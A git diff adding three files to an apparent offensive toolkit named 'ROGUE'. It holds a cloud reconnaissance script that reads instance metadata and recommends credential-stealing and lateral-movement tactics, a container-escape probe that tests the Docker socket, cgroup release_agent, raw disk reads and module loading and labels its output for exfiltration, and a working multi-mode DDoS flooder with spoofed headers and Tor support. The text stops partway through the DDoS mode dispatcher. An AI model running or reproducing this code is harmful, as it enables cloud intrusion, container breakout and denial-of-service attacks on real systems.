diff --git a/cloud_detector.py b/cloud_detector.py new file mode 100644 index 0000000..fb91aa8 --- /dev/null +++ b/cloud_detector.py @@ -0,0 +1,608 @@ +#!/usr/bin/env python3 +""" +Cloud Environment Detector for ROGUE +Detects AWS, Azure, GCP, DigitalOcean, and other cloud platforms +AUTHOR: Rogue Red Team +""" + +import os, sys, subprocess, json, requests, socket, re +from urllib.request import Request, urlopen +from urllib.error import URLError + +class CloudDetector: + def __init__(self): + self.cloud_provider = None + self.cloud_metadata = {} + self.cloud_features = {} + self.detection_methods = [] + + def detect_all(self): + """Run all detection methods""" + providers = [ + self.detect_aws, + self.detect_azure, + self.detect_gcp, + self.detect_digitalocean, + self.detect_oracle_cloud, + self.detect_linode, + self.detect_vultr, + self.detect_hetzner, + self.detect_docker, + self.detect_kubernetes, + self.detect_container, + self.detect_vm + ] + + for method in providers: + result = method() + if result: + self.detection_methods.append(method.__name__) + + return self.cloud_provider + + def detect_aws(self): + """Detect AWS EC2 instance""" + try: + # Check AWS metadata service + req = Request("http://169.254.169.254/latest/meta-data/") + req.add_header("X-aws-ec2-metadata-token-ttl-seconds", "21600") + + # First get token + try: + token_req = Request("http://169.254.169.254/latest/api/token") + token_req.add_header("X-aws-ec2-metadata-token-ttl-seconds", "21600") + token_req.method = "PUT" + + token = urlopen(token_req, timeout=2).read().decode() + req.add_header("X-aws-ec2-metadata-token", token) + except: + pass + + response = urlopen(req, timeout=2) + if response.getcode() == 200: + self.cloud_provider = "aws" + + # Collect AWS metadata + metadata_urls = { + 'instance-id': 'instance-id', + 'instance-type': 'instance-type', + 'ami-id': 'ami-id', + 'region': 'placement/availability-zone', + 'account-id': 'identity-credentials/ec2/info', + 'vpc-id': 'network/interfaces/macs/0/vpc-id', + 'subnet-id': 'network/interfaces/macs/0/subnet-id', + 'security-groups': 'security-groups' + } + + for key, path in metadata_urls.items(): + try: + meta_req = Request(f"http://169.254.169.254/latest/meta-data/{path}") + if 'token' in locals(): + meta_req.add_header("X-aws-ec2-metadata-token", token) + data = urlopen(meta_req, timeout=2).read().decode() + self.cloud_metadata[f"aws_{key}"] = data + except: + pass + + # Check for AWS-specific files + if os.path.exists('/sys/hypervisor/uuid'): + with open('/sys/hypervisor/uuid', 'r') as f: + if f.read().startswith('ec2'): + self.cloud_metadata['aws_uuid'] = True + + # Check for cloud-init AWS datasource + if os.path.exists('/var/lib/cloud/instance/datasource'): + with open('/var/lib/cloud/instance/datasource', 'r') as f: + if 'aws' in f.read().lower(): + self.cloud_metadata['aws_cloud_init'] = True + + # Check IMDSv2 capability + self.cloud_features['aws_imdsv2'] = 'token' in locals() + + print(f"[CLOUD] Detected AWS EC2 instance") + print(f" Instance Type: {self.cloud_metadata.get('aws_instance-type', 'Unknown')}") + print(f" Region: {self.cloud_metadata.get('aws_region', 'Unknown')}") + return True + + except Exception as e: + pass + + # Additional AWS checks + aws_indicators = [ + ('/sys/devices/virtual/dmi/id/product_name', lambda x: 'amazon' in x.lower()), + ('/sys/devices/virtual/dmi/id/bios_version', lambda x: 'amazon' in x.lower()), + ('/sys/class/dmi/id/chassis_vendor', lambda x: 'amazon' in x.lower()), + ('/sys/class/dmi/id/product_version', lambda x: 'amazon' in x.lower()), + ] + + for file_path, check_func in aws_indicators: + if os.path.exists(file_path): + with open(file_path, 'r') as f: + content = f.read().lower() + if check_func(content): + self.cloud_provider = "aws" + print("[CLOUD] Detected AWS via DMI") + return True + + return False + + def detect_azure(self): + """Detect Azure VM""" + try: + # Azure metadata service + req = Request("http://169.254.169.254/metadata/instance?api-version=2021-02-01") + req.add_header("Metadata", "true") + + response = urlopen(req, timeout=2) + if response.getcode() == 200: + data = json.loads(response.read().decode()) + self.cloud_provider = "azure" + self.cloud_metadata['azure_full'] = data + + # Extract key metadata + if 'compute' in data: + compute = data['compute'] + self.cloud_metadata['azure_vmId'] = compute.get('vmId') + self.cloud_metadata['azure_vmSize'] = compute.get('vmSize') + self.cloud_metadata['azure_location'] = compute.get('location') + self.cloud_metadata['azure_subscriptionId'] = compute.get('subscriptionId') + self.cloud_metadata['azure_resourceGroupName'] = compute.get('resourceGroupName') + + print(f"[CLOUD] Detected Azure VM") + print(f" VM Size: {self.cloud_metadata.get('azure_vmSize', 'Unknown')}") + print(f" Location: {self.cloud_metadata.get('azure_location', 'Unknown')}") + return True + + except Exception as e: + pass + + # Check for Azure-specific files + azure_indicators = [ + ('/sys/class/dmi/id/chassis_asset_tag', lambda x: '7783-7084-3265-9085-8269-3286-77' in x), + ('/sys/class/dmi/id/sys_vendor', lambda x: 'microsoft' in x.lower()), + ('/sys/class/dmi/id/product_name', lambda x: 'virtual machine' in x.lower() and 'microsoft' in x.lower()), + ('/var/lib/cloud/instance/datasource', lambda x: 'azure' in x.lower()), + ] + + for file_path, check_func in azure_indicators: + if os.path.exists(file_path): + with open(file_path, 'r') as f: + content = f.read() + if check_func(content): + self.cloud_provider = "azure" + print("[CLOUD] Detected Azure via system files") + return True + + return False + + def detect_gcp(self): + """Detect Google Cloud Platform""" + try: + # GCP metadata service + req = Request("http://metadata.google.internal/computeMetadata/v1/") + req.add_header("Metadata-Flavor", "Google") + + response = urlopen(req, timeout=2) + if response.getcode() == 200: + self.cloud_provider = "gcp" + + # Collect GCP metadata + metadata_endpoints = [ + ('instance/id', 'gcp_instance_id'), + ('instance/machine-type', 'gcp_machine_type'), + ('instance/zone', 'gcp_zone'), + ('project/project-id', 'gcp_project_id'), + ('instance/network-interfaces/0/ip', 'gcp_internal_ip'), + ('instance/service-accounts/default/email', 'gcp_service_account'), + ] + + for endpoint, key in metadata_endpoints: + try: + meta_req = Request(f"http://metadata.google.internal/computeMetadata/v1/{endpoint}") + meta_req.add_header("Metadata-Flavor", "Google") + data = urlopen(meta_req, timeout=2).read().decode() + self.cloud_metadata[key] = data + except: + pass + + print(f"[CLOUD] Detected Google Cloud Platform") + print(f" Project: {self.cloud_metadata.get('gcp_project_id', 'Unknown')}") + print(f" Zone: {self.cloud_metadata.get('gcp_zone', 'Unknown')}") + return True + + except Exception as e: + pass + + # Check for GCP-specific indicators + gcp_indicators = [ + ('/sys/class/dmi/id/product_name', lambda x: 'google' in x.lower()), + ('/sys/class/dmi/id/sys_vendor', lambda x: 'google' in x.lower()), + ('/sys/class/dmi/id/bios_vendor', lambda x: 'google' in x.lower()), + ('/var/lib/cloud/instance/datasource', lambda x: 'gcp' in x.lower() or 'google' in x.lower()), + ] + + for file_path, check_func in gcp_indicators: + if os.path.exists(file_path): + with open(file_path, 'r') as f: + content = f.read().lower() + if check_func(content): + self.cloud_provider = "gcp" + print("[CLOUD] Detected GCP via system files") + return True + + return False + + def detect_digitalocean(self): + """Detect DigitalOcean droplet""" + try: + req = Request("http://169.254.169.254/metadata/v1.json") + response = urlopen(req, timeout=2) + if response.getcode() == 200: + data = json.loads(response.read().decode()) + self.cloud_provider = "digitalocean" + self.cloud_metadata['digitalocean_full'] = data + + print(f"[CLOUD] Detected DigitalOcean droplet") + print(f" Droplet ID: {data.get('droplet_id', 'Unknown')}") + print(f" Region: {data.get('region', 'Unknown')}") + return True + + except Exception as e: + pass + + # Check DO-specific files + if os.path.exists('/etc/digitalocean'): + self.cloud_provider = "digitalocean" + print("[CLOUD] Detected DigitalOcean via /etc/digitalocean") + return True + + return False + + def detect_oracle_cloud(self): + """Detect Oracle Cloud Infrastructure""" + try: + req = Request("http://169.254.169.254/opc/v1/instance/") + response = urlopen(req, timeout=2) + if response.getcode() == 200: + data = json.loads(response.read().decode()) + self.cloud_provider = "oracle" + self.cloud_metadata['oracle_full'] = data + + print(f"[CLOUD] Detected Oracle Cloud Infrastructure") + print(f" Compartment: {data.get('compartmentId', 'Unknown')}") + return True + + except Exception as e: + pass + + return False + + def detect_linode(self): + """Detect Linode instance""" + try: + # Linode uses a specific metadata endpoint + req = Request("http://169.254.169.254/v1") + response = urlopen(req, timeout=2) + if response.getcode() == 200: + # Check if response contains Linode-like data + data = response.read().decode() + if 'linode' in data.lower(): + self.cloud_provider = "linode" + print("[CLOUD] Detected Linode") + return True + except: + pass + + # Check for Linode kernel + result = subprocess.run(['uname', '-r'], capture_output=True, text=True) + if 'linode' in result.stdout.lower(): + self.cloud_provider = "linode" + print("[CLOUD] Detected Linode via kernel") + return True + + return False + + def detect_vultr(self): + """Detect Vultr instance""" + try: + req = Request("http://169.254.169.254/v1.json") + response = urlopen(req, timeout=2) + if response.getcode() == 200: + data = json.loads(response.read().decode()) + if 'vultr' in str(data).lower(): + self.cloud_provider = "vultr" + print("[CLOUD] Detected Vultr") + return True + except: + pass + + return False + + def detect_hetzner(self): + """Detect Hetzner Cloud""" + try: + req = Request("http://169.254.169.254/hetzner/v1/metadata") + response = urlopen(req, timeout=2) + if response.getcode() == 200: + data = json.loads(response.read().decode()) + self.cloud_provider = "hetzner" + self.cloud_metadata['hetzner_full'] = data + print("[CLOUD] Detected Hetzner Cloud") + return True + except: + pass + + # Check for Hetzner-specific files + if os.path.exists('/etc/hetzner'): + self.cloud_provider = "hetzner" + print("[CLOUD] Detected Hetzner via /etc/hetzner") + return True + + return False + + def detect_docker(self): + """Detect Docker container""" + # Check for .dockerenv file + if os.path.exists('/.dockerenv'): + self.cloud_provider = "docker" + self.cloud_features['container'] = True + print("[CLOUD] Detected Docker container") + return True + + # Check cgroups + if os.path.exists('/proc/1/cgroup'): + with open('/proc/1/cgroup', 'r') as f: + content = f.read() + if 'docker' in content: + self.cloud_provider = "docker" + self.cloud_features['container'] = True + print("[CLOUD] Detected Docker via cgroups") + return True + + return False + + def detect_kubernetes(self): + """Detect Kubernetes pod""" + # Check for Kubernetes service account + if os.path.exists('/var/run/secrets/kubernetes.io/serviceaccount'): + self.cloud_provider = "kubernetes" + self.cloud_features['container'] = True + self.cloud_features['orchestrated'] = True + + # Try to get pod info + try: + with open('/var/run/secrets/kubernetes.io/serviceaccount/namespace', 'r') as f: + namespace = f.read().strip() + self.cloud_metadata['k8s_namespace'] = namespace + except: + pass + + print("[CLOUD] Detected Kubernetes pod") + return True + + # Check environment variables + env_vars = os.environ + k8s_vars = ['KUBERNETES_SERVICE_HOST', 'KUBERNETES_SERVICE_PORT'] + if any(var in env_vars for var in k8s_vars): + self.cloud_provider = "kubernetes" + self.cloud_features['container'] = True + self.cloud_features['orchestrated'] = True + print("[CLOUD] Detected Kubernetes via environment") + return True + + return False + + def detect_container(self): + """Generic container detection""" + # Check various container indicators + container_indicators = [ + ('/proc/self/cgroup', lambda x: any(indicator in x for indicator in + ['docker', 'containerd', 'crio', 'podman', 'kubepods'])), + ('/proc/1/sched', lambda x: 'bash' not in x and 'init' not in x), # Non-standard init process + ] + + for file_path, check_func in container_indicators: + if os.path.exists(file_path): + with open(file_path, 'r') as f: + content = f.read() + if check_func(content): + if not self.cloud_provider: # Only set if not already detected + self.cloud_provider = "container" + self.cloud_features['container'] = True + print("[CLOUD] Detected generic container") + return True + + return False + + def detect_vm(self): + """Detect if running in any VM (including cloud VMs)""" + vm_indicators = [ + ('/sys/class/dmi/id/product_name', lambda x: any(vm_indicator in x.lower() for vm_indicator in + ['virtualbox', 'vmware', 'kvm', 'qemu', 'virtual', 'xen', 'hyper-v'])), + ('/sys/class/dmi/id/sys_vendor', lambda x: any(vendor in x.lower() for vendor in + ['vmware', 'innotek', 'qemu', 'microsoft', 'xen'])), + ('/proc/cpuinfo', lambda x: 'hypervisor' in x.lower()), + ] + + for file_path, check_func in vm_indicators: + if os.path.exists(file_path): + with open(file_path, 'r') as f: + content = f.read().lower() + if check_func(content): + self.cloud_features['virtual_machine'] = True + print("[CLOUD] Detected virtualization") + return True + + return False + + def get_cloud_info(self): + """Get comprehensive cloud information""" + info = { + 'provider': self.cloud_provider, + 'metadata': self.cloud_metadata, + 'features': self.cloud_features, + 'detection_methods': self.detection_methods, + 'is_cloud': bool(self.cloud_provider), + 'is_container': self.cloud_features.get('container', False), + 'is_vm': self.cloud_features.get('virtual_machine', False), + 'is_orchestrated': self.cloud_features.get('orchestrated', False), + } + + # Add network information + try: + hostname = socket.gethostname() + info['hostname'] = hostname + + # Try to get public IP + try: + public_ip = requests.get('https://api.ipify.org', timeout=3).text + info['public_ip'] = public_ip + except: + pass + except: + pass + + return info + + def get_recommended_tactics(self): + """Get recommended tactics based on cloud environment""" + tactics = { + 'persistence': [], + 'collection': [], + 'lateral': [], + 'evasion': [], + 'payloads': [], + } + + if not self.cloud_provider: + return tactics + + # Common cloud tactics + tactics['persistence'].extend([ + 'cloud_init_modification', + 'cron_cloud_metadata', + 'service_account_persistence', + ]) + + tactics['collection'].extend([ + 'cloud_metadata_collection', + 'credential_harvesting', + 'configuration_dumping', + ]) + + tactics['evasion'].extend([ + 'low_profile_beaconing', + 'encrypted_storage', + 'container_aware_hiding', + ]) + + # Provider-specific tactics + if self.cloud_provider == 'aws': + tactics['collection'].extend([ + 'aws_credential_harvesting', + 'aws_metadata_exfiltration', + 's3_bucket_enumeration', + ]) + tactics['lateral'].extend([ + 'aws_instance_profile_abuse', + 'vpc_peer_hijacking', + 'security_group_modification', + ]) + tactics['payloads'].extend([ + 'aws_credential_stealer.py', + 's3_scanner.py', + 'aws_lateral.py', + ]) + + elif self.cloud_provider == 'azure': + tactics['collection'].extend([ + 'azure_managed_identity_harvesting', + 'azure_metadata_collection', + 'key_vault_access', + ]) + tactics['lateral'].extend([ + 'azure_vnet_lateral', + 'managed_identity_abuse', + 'automation_account_access', + ]) + tactics['payloads'].extend([ + 'azure_cred_harvester.py', + 'key_vault_scanner.py', + 'azure_lateral.py', + ]) + + elif self.cloud_provider == 'gcp': + tactics['collection'].extend([ + 'gcp_service_account_harvesting', + 'gcp_metadata_collection', + 'cloud_storage_access', + ]) + tactics['lateral'].extend([ + 'gcp_project_lateral', + 'service_account_impersonation', + 'vpc_peering_abuse', + ]) + tactics['payloads'].extend([ + 'gcp_cred_harvester.py', + 'gcp_bucket_scanner.py', + 'gcp_lateral.py', + ]) + + elif self.cloud_provider in ['docker', 'kubernetes', 'container']: + tactics['persistence'].extend([ + 'container_image_modification', + 'kubernetes_cronjob', + 'docker_socket_persistence', + ]) + tactics['collection'].extend([ + 'container_breakout_attempt', + 'kubernetes_secret_harvesting', + 'docker_config_harvesting', + ]) + tactics['lateral'].extend([ + 'kubernetes_pod_lateral', + 'container_escape', + 'cluster_role_abuse', + ]) + tactics['evasion'].extend([ + 'container_fileless_execution', + 'memory_only_persistence', + 'ephemeral_storage_abuse', + ]) + tactics['payloads'].extend([ + 'container_escape.py', + 'k8s_secret_stealer.py', + 'docker_breakout.py', + ]) + + return tactics + +# Quick test function +def test_detection(): + detector = CloudDetector() + detector.detect_all() + + print("\n" + "="*60) + print("CLOUD DETECTION RESULTS") + print("="*60) + + if detector.cloud_provider: + print(f"Provider: {detector.cloud_provider.upper()}") + print(f"Metadata: {json.dumps(detector.cloud_metadata, indent=2)}") + print(f"Features: {json.dumps(detector.cloud_features, indent=2)}") + + # Get recommendations + tactics = detector.get_recommended_tactics() + print("\nRecommended Tactics:") + for category, items in tactics.items(): + if items: + print(f" {category.upper()}:") + for item in items: + print(f" - {item}") + else: + print("No cloud environment detected (likely bare metal or undetected VM)") + + print("="*60) + +if __name__ == "__main__": + test_detection() diff --git a/container_escape.py b/container_escape.py new file mode 100644 index 0000000..a762d9b --- /dev/null +++ b/container_escape.py @@ -0,0 +1,348 @@ +#!/usr/bin/env python3 +""" +Container Escape Attempts +Various techniques to escape container confinement +""" + +import os, sys, subprocess, json, re, shutil, stat +from pathlib import Path + +def check_privileges(): + """Check if container is privileged or has capabilities""" + results = {} + + # Check if privileged + if os.path.exists('/proc/self/status'): + with open('/proc/self/status', 'r') as f: + content = f.read() + if 'CapEff:\t0000003fffffffff' in content: + results['privileged'] = True + else: + results['privileged'] = False + + # Parse capabilities + caps_match = re.search(r'CapEff:\s*(.+)', content) + if caps_match: + results['capabilities'] = caps_match.group(1).strip() + + # Check for root user + results['is_root'] = os.geteuid() == 0 + + # Check mounted filesystems + mount_info = subprocess.getoutput('mount') + results['mounts'] = mount_info.split('\n')[:10] # First 10 mounts + + # Check for sensitive mounts + sensitive_mounts = ['/proc', '/sys', '/dev', '/var/run/docker.sock'] + results['sensitive_mounts'] = [] + for mount in sensitive_mounts: + if any(mount in line for line in results['mounts']): + results['sensitive_mounts'].append(mount) + + return results + +def attempt_docker_socket_escape(): + """Attempt escape via Docker socket""" + results = {'attempted': False, 'success': False, 'details': ''} + + docker_socket = '/var/run/docker.sock' + if os.path.exists(docker_socket): + results['attempted'] = True + results['socket_exists'] = True + + # Check if we can access it + if os.access(docker_socket, os.R_OK): + results['socket_accessible'] = True + + # Try to communicate with Docker + try: + # Use curl to talk to Docker API + cmd = ['curl', '-s', '--unix-socket', docker_socket, 'http://localhost/version'] + output = subprocess.run(cmd, capture_output=True, text=True, timeout=5) + + if output.returncode == 0: + results['success'] = True + docker_info = json.loads(output.stdout) + results['details'] = f"Docker API accessible: {docker_info.get('Version')}" + + # Try to list containers + cmd = ['curl', '-s', '--unix-socket', docker_socket, 'http://localhost/containers/json'] + containers = subprocess.run(cmd, capture_output=True, text=True, timeout=5) + if containers.returncode == 0: + container_list = json.loads(containers.stdout) + results['containers'] = len(container_list) + else: + results['details'] = f"Docker API error: {output.stderr}" + except Exception as e: + results['details'] = f"Exception: {e}" + else: + results['socket_accessible'] = False + results['details'] = "Docker socket exists but not accessible" + else: + results['socket_exists'] = False + + return results + +def attempt_cgroup_escape(): + """Attempt escape via cgroup release_agent""" + results = {'attempted': False, 'success': False, 'details': ''} + + # Check if we can write to cgroup release_agent + cgroup_paths = [ + '/sys/fs/cgroup/*/release_agent', + '/sys/fs/cgroup/*/*/release_agent' + ] + + import glob + for pattern in cgroup_paths: + for release_agent in glob.glob(pattern): + try: + # Test write + with open(release_agent, 'w') as f: + f.write('test') + + # If we get here, we can write + results['attempted'] = True + results['writable_release_agent'] = release_agent + results['details'] = f"Writable release_agent: {release_agent}" + + # Note: Actual escape would require more steps + # This just checks for vulnerability + results['success'] = True + break + except: + continue + + if not results['attempted']: + results['details'] = "No writable release_agent found" + + return results + +def attempt_device_escape(): + """Attempt escape via device access""" + results = {'attempted': False, 'success': False, 'details': ''} + + # Check for accessible devices + dev_path = '/dev' + dangerous_devices = ['sda', 'nvme0n1', 'dm-0', 'loop0'] + + accessible_devices = [] + for device in dangerous_devices: + device_path = os.path.join(dev_path, device) + if os.path.exists(device_path) and os.access(device_path, os.R_OK): + accessible_devices.append(device) + + if accessible_devices: + results['attempted'] = True + results['accessible_devices'] = accessible_devices + results['details'] = f"Accessible devices: {accessible_devices}" + + # Try to read disk + for device in accessible_devices[:1]: # Try first device + try: + # Just read first sector to test + cmd = ['dd', f'if=/dev/{device}', 'bs=512', 'count=1', 'status=none'] + output = subprocess.run(cmd, capture_output=True, timeout=5) + if output.returncode == 0: + results['success'] = True + results['details'] += f" - Can read from /dev/{device}" + break + except: + pass + + return results + +def attempt_kernel_module_load(): + """Attempt to load kernel module""" + results = {'attempted': False, 'success': False, 'details': ''} + + # Check if we can load modules + modules_path = '/lib/modules' + if os.path.exists(modules_path) and os.listdir(modules_path): + kernel_version = os.listdir(modules_path)[0] + results['kernel_version'] = kernel_version + + # Check capabilities + try: + # Try to use insmod (would require CAP_SYS_MODULE) + test_module = '/tmp/test.ko' + + # Create a simple dummy module (just a text file for testing) + with open(test_module, 'w') as f: + f.write('dummy module') + + cmd = ['insmod', test_module] + output = subprocess.run(cmd, capture_output=True, text=True, timeout=5) + + if output.returncode == 0 or 'Operation not permitted' not in output.stderr: + results['attempted'] = True + results['details'] = f"Module load attempted: {output.stderr}" + + # Check actual error + if 'Operation not permitted' in output.stderr: + results['success'] = False + else: + results['success'] = True + else: + results['details'] = "Cannot load modules (no CAP_SYS_MODULE)" + + # Cleanup + if os.path.exists(test_module): + os.remove(test_module) + + except Exception as e: + results['details'] = f"Exception: {e}" + + return results + +def attempt_mount_escape(): + """Attempt escape via mount operations""" + results = {'attempted': False, 'success': False, 'details': ''} + + # Check if we have mount capabilities + try: + # Try to create a bind mount + test_dir = '/tmp/test_mount' + os.makedirs(test_dir, exist_ok=True) + + cmd = ['mount', '--bind', '/tmp', test_dir] + output = subprocess.run(cmd, capture_output=True, text=True, timeout=5) + + if output.returncode == 0: + results['attempted'] = True + results['success'] = True + results['details'] = "Can create bind mounts" + + # Cleanup + subprocess.run(['umount', test_dir], capture_output=True) + else: + if 'Operation not permitted' in output.stderr: + results['details'] = "Cannot mount (no CAP_SYS_ADMIN)" + else: + results['attempted'] = True + results['details'] = f"Mount test: {output.stderr}" + + # Cleanup + if os.path.exists(test_dir): + shutil.rmtree(test_dir) + + except Exception as e: + results['details'] = f"Exception: {e}" + + return results + +def check_for_breakout_techniques(): + """Check for known container breakout techniques""" + techniques = { + 'dirtycow': False, + 'shocker': False, + 'dirtypipe': False, + 'runc_escape': False, + } + + # Check kernel version for vulnerabilities + try: + kernel_version = subprocess.getoutput('uname -r') + + # Dirty COW (CVE-2016-5195) + if any(vuln in kernel_version for vuln in ['3.13', '3.16', '3.19', '4.4', '4.8']): + techniques['dirtycow'] = True + + # Dirty Pipe (CVE-2022-0847) + if '5.8' <= kernel_version <= '5.16.11': + techniques['dirtypipe'] = True + + # Check for runc vulnerability (CVE-2019-5736) + # This would require checking runc version + docker_version = subprocess.getoutput('docker version 2>/dev/null | grep Version | head -1') + if '18.09' in docker_version: + techniques['runc_escape'] = True + + except: + pass + + return techniques + +def main(): + """Main execution""" + print("[Container Escape Assessment]") + print("=" * 60) + + # Check privileges + print("\n[1] Checking container privileges...") + privileges = check_privileges() + + print(f" Privileged: {privileges.get('privileged', 'Unknown')}") + print(f" Running as root: {privileges.get('is_root', False)}") + print(f" Capabilities: {privileges.get('capabilities', 'Unknown')}") + + if privileges.get('sensitive_mounts'): + print(f" Sensitive mounts: {privileges['sensitive_mounts']}") + + # Attempt escapes + print("\n[2] Attempting escape techniques...") + + escapes = { + 'Docker Socket': attempt_docker_socket_escape(), + 'Cgroup release_agent': attempt_cgroup_escape(), + 'Device Access': attempt_device_escape(), + 'Kernel Module': attempt_kernel_module_load(), + 'Mount Escape': attempt_mount_escape(), + } + + for name, result in escapes.items(): + print(f" {name}: {'SUCCESS' if result.get('success') else 'FAILED'}") + if result.get('details'): + print(f" Details: {result['details'][:80]}...") + + # Check for known vulnerabilities + print("\n[3] Checking for known vulnerabilities...") + vulnerabilities = check_for_breakout_techniques() + + for vuln, present in vulnerabilities.items(): + print(f" {vuln}: {'POSSIBLE' if present else 'Not detected'}") + + # Recommendations + print("\n[4] Recommendations:") + + if privileges.get('privileged'): + print(" ⚠️ Container is PRIVILEGED - Easy escape possible") + print(" → Use docker.sock to create new privileged container") + + if escapes['Docker Socket'].get('success'): + print(" ⚠️ Docker socket accessible - Full host control") + print(" → Use Docker API to create privileged containers") + + if escapes['Cgroup release_agent'].get('success'): + print(" ⚠️ Cgroup release_agent writable - Kernel escape possible") + print(" → Use release_agent to execute commands on host") + + if privileges.get('is_root'): + print(" ⚠️ Running as root - More escape options available") + print(" → Try all root-based escape techniques") + + # Output for exfiltration + result = { + 'privileges': privileges, + 'escape_attempts': escapes, + 'vulnerabilities': vulnerabilities, + 'timestamp': __import__('time').time(), + 'recommendations': [] + } + + # Add recommendations + if privileges.get('privileged'): + result['recommendations'].append('privileged_container_escape') + if escapes['Docker Socket'].get('success'): + result['recommendations'].append('docker_socket_escape') + if escapes['Cgroup release_agent'].get('success'): + result['recommendations'].append('cgroup_escape') + if privileges.get('is_root'): + result['recommendations'].append('root_escape_techniques') + + return json.dumps(result, indent=2) + +if __name__ == "__main__": + output = main() + print("\n" + "=" * 60) + print("[*] Assessment complete - Output ready for exfiltration") diff --git a/ddos.py b/ddos.py new file mode 100644 index 0000000..4382507 --- /dev/null +++ b/ddos.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 +import os +import socket, threading, random, time, sys, ssl +import socks # PySocks for Tor support + +try: + from scapy.all import IP, UDP, send, Raw +except ImportError: + print("⚠️ Scapy not installed. Run: pip3 install scapy") + sys.exit(1) + +USE_TOR = False + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0)", + "Mozilla/5.0 (X11; Linux x86_64)", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)", + "Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1)", + "curl/7.64.1", + "Wget/1.20.3", + "Googlebot/2.1 (+http://www.google.com/bot.html)", + "Bingbot/2.0 (+http://www.bing.com/bingbot.htm)", + "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", + "DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)", + "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" +] + + +STEALTH_HEADERS = [ + "X-Forwarded-For", "Referer", "Origin", "Cache-Control", "X-Real-IP" +] + +def stealth_http_headers(): + headers = { + "User-Agent": random.choice(USER_AGENTS), + "Accept-Language": random.choice([ + "en-US,en;q=0.9", "es-ES,es;q=0.8", "fr-FR,fr;q=0.9", "de-DE,de;q=0.9" + ]), + "Referer": f"https://{random.choice(['google.com', 'bing.com', 'yahoo.com', 'duckduckgo.com'])}/search?q={random.randint(1000,9999)}", + "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}", + "Cookie": f"sessionid={os.urandom(8).hex()}; token={os.urandom(4).hex()}", + "Connection": "keep-alive" + } + + header_lines = list(headers.items()) + random.shuffle(header_lines) + + return ''.join(f"{k}: {v}\r\n" for k, v in header_lines) + "\r\n" + +def get_socket(): + if USE_TOR: + s = socks.socksocket() + s.set_proxy(socks.SOCKS5, "127.0.0.1", 9050) + else: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(2) + return s + +def http_flood(ip, port, duration, threads): + def attack(): + end = time.time() + duration + while time.time() < end: + try: + s = get_socket() + s.connect((ip, port)) + uri = f"/?q={random.randint(1000,9999)}" + req = f"GET {uri} HTTP/1.1\r\nHost: {ip}\r\n" + stealth_http_headers() + s.send(req.encode()) + s.close() + except: pass + run_threads(attack, threads, duration, "HTTP Flood") + +def tls_flood(ip, port, duration, threads): + def attack(): + end = time.time() + duration + while time.time() < end: + try: + context = ssl.create_default_context() + s = get_socket() + s = context.wrap_socket(s, server_hostname=ip) + s.connect((ip, port)) + s.close() + except: pass + run_threads(attack, threads, duration, "TLS Handshake Flood") + +def head_flood(ip, port, duration, threads): + def attack(): + end = time.time() + duration + while time.time() < end: + try: + s = get_socket() + s.connect((ip, port)) + req = f"HEAD / HTTP/1.1\r\nHost: {ip}\r\n" + stealth_http_headers() + s.send(req.encode()) + s.close() + except: pass + run_threads(attack, threads, duration, "HEAD Request Flood") + +def ws_flood(ip, port, duration, threads): + def attack(): + end = time.time() + duration + while time.time() < end: + try: + s = get_socket() + s.connect((ip, port)) + req = ( + f"GET /chat HTTP/1.1\r\nHost: {ip}\r\nUpgrade: websocket\r\n" + f"Connection: Upgrade\r\nSec-WebSocket-Key: {random.randbytes(16).hex()}\r\n" + f"Sec-WebSocket-Version: 13\r\n{stealth_http_headers()}" + ) + s.send(req.encode()) + time.sleep(1.5) + s.close() + except: pass + run_threads(attack, threads, duration, "WebSocket Flood") + +def udp_flood(ip, port, duration, threads): + def attack(): + end = time.time() + duration + payload = random._urandom(1024) + while time.time() < end: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.sendto(payload, (ip, port)) + except: pass + run_threads(attack, threads, duration, "UDP Flood") + +def tcp_syn_flood(ip, port, duration, threads): + def attack(): + end = time.time() + duration + while time.time() < end: + try: + s = socket.socket() + s.connect((ip, port)) + s.close() + except: pass + run_threads(attack, threads, duration, "TCP SYN Flood") + +def slow_post_flood(ip, port, duration, threads): + def attack(): + end = time.time() + duration + payload = "X" * 1024 + while time.time() < end: + try: + s = get_socket() + s.connect((ip, port)) + s.send(f"POST / HTTP/1.1\r\nHost: {ip}\r\nContent-Length: {len(payload)*100}\r\n".encode()) + for _ in range(100): + s.send((payload + "\r\n").encode()) + time.sleep(0.3) + s.close() + except: pass + run_threads(attack, threads, duration, "Slow POST (RUDY)") + +def combo_flood(ip, port, duration, threads): + print(f"[🔥] Launching COMBO mode: all floods simultaneously...") + + flood_funcs = [ + http_flood, tls_flood, head_flood, ws_flood, + udp_flood, tcp_syn_flood, slow_post_flood + ] + + for func in flood_funcs: + threading.Thread(target=func, args=(ip, port, duration, threads), daemon=True).start() + + time.sleep(duration) + print("[✓] Combo flood complete.\n") + +def run_threads(attack_func, threads, duration, label): + print(f"[~] Starting {label} for {duration}s with {threads} threads...") + for _ in range(threads): + t = threading.Thread(target=attack_func) + t.daemon = True + t.start() + time.sleep(duration) + print(f"[✓] {label} complete.\n") + +def parse_trigger(args): + if len(args) < 6: + print("Usage: trigger_ddos [--loop]") + print("Modes: http | tls | head | ws | udp | tcp | slowpost | combo") + sys.exit(1) + + _, ip, port, duration, threads, mode, *flags = args + port = int(port) + duration = int(duration) + threads = int(threads) + loop = "--loop" in flags + + print(f"[✓] Mode: {mode.upper()} | Target: {ip}:{port} | Threads: {threads} | Duration: {duration}s") + + if loop: + print("[∞] Loop mode: ON. Press Ctrl+C to stop.\n") + try: + while True: + run_mode(mode, ip, port, duration, threads) + except KeyboardInterrupt: + print("\n[✘] Loop stopped by user.") + else: + run_mode(mode, ip, port, duration, threads) + +def run_mode(mode, ip, port, duration, threads): + if mode == "http": + http_flood(ip, port, duration, threads) + elif mode == "tls": + tls_flood(ip, port, duration, threads) + elif mode == "head": 